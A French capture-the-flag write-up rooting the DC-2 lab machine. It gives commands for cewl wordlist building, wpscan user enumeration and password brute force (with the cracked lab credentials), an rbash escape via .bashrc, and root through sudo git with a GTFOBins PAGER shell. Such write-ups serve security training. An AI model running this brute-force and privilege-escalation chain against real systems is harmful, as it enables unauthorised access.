On va aller direct à l’essentiel, et se balader un peu sur le site. Dans la partie Flag, on a un petit indice qui nous dit d’être cewl.
Bah on va être cewl!
Cewl est un petit outil qui crawl le site et permet d’enregistrer des mots clés d’un site dans un fichier, qui permettra de créer un dictionnaire de mot de passe qu’on pourra utiliser par la suite.
cewl –write passwddc2.txt http://dc-2
On va faire un petit scan du wordpress histoire de :
wpscan –url http://dc-2 –enumerate
Rien à signaler, pas de failles spécifiques à exploiter, on va donc lister les users :
wpscan –url http://dc-2 –enumerate u
On aura en résultat 3 users : admin, tom et jerry
On va donc bruteforce le site avec ces users et le dictionnaire de mot de passe qu’on a créé précédemment :
wpscan –url http://dc-2 -P passwddc2.txt –usernames ‘admin,tom,jerry’
on a deux résultats :
jerry : adipiscing et tom : parturient
En se baladant dans l’interface d’administration du wordpress, on voit rien de special, pas de plugin spécifique etc, il faut trouver un autre vecteur d’attaque.
Un petit nmap du serveur pour voir les services qui écoutent vers l’exterieur:
nmap -p-65535 dc-2
2 ports ouvert : 80 et 7744, pas de 22 pour le ssh, on peut penser a de l’obfuscation de port, et effectivement, on peut se connecter en ssh avec le user tom, ko avec jerry.
On se retrouve dans un rbash avec le user tom, et des commandes ne passent pas, comme ls, et il y a des filtres sur les commandes tapées contenant un /. En regardant la variable PATH, on remarque qu’on est dans une jail. Dans la liste des commandes disponibles on a less, ls scp et vi.
On tente de modifier la variable du path :
PATH=/bin
Ko, la variable du path est en readonly.
Je tente de modifier les fichiers .bashrc et .bash_profile, avec /bin en path, pas d’erreur en écrivant le fichier, une petite connexion / déconnexion, et on a accès a la liste de toutes les commandes présentes dans le /bin.
on va se connecter en jerry :
su jerry
On arrive bien avec le user jerry, on peut check les commandes sudo auxquelles il a accès :
sudo -l
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
Cool, un vecteur d’escalade de privilège!
On va voir ce qu’on peut faire avec git en checkant le site https://gtfobins.github.io/gtfobins/git/#shell .
Voici ce que ca nous donne comme possibilité :
PAGER=‘sh -c « exec sh 0<&1 »’ git -p help
On va modifier un peu la commande pour l’execution avec sudo en root
PAGER=‘sh -c « exec sh 0<&1 »’ sudo -u root git -p help
On a bien accès a la page d’aide de git, on va pouvoir tapper la commande suivante pour avoir un shell:
!/bin/sh
# whoami
root
On semble avoir un shell en root, on ouvre /bin/bash histoire d’être plus à son aise, la machine est rootée.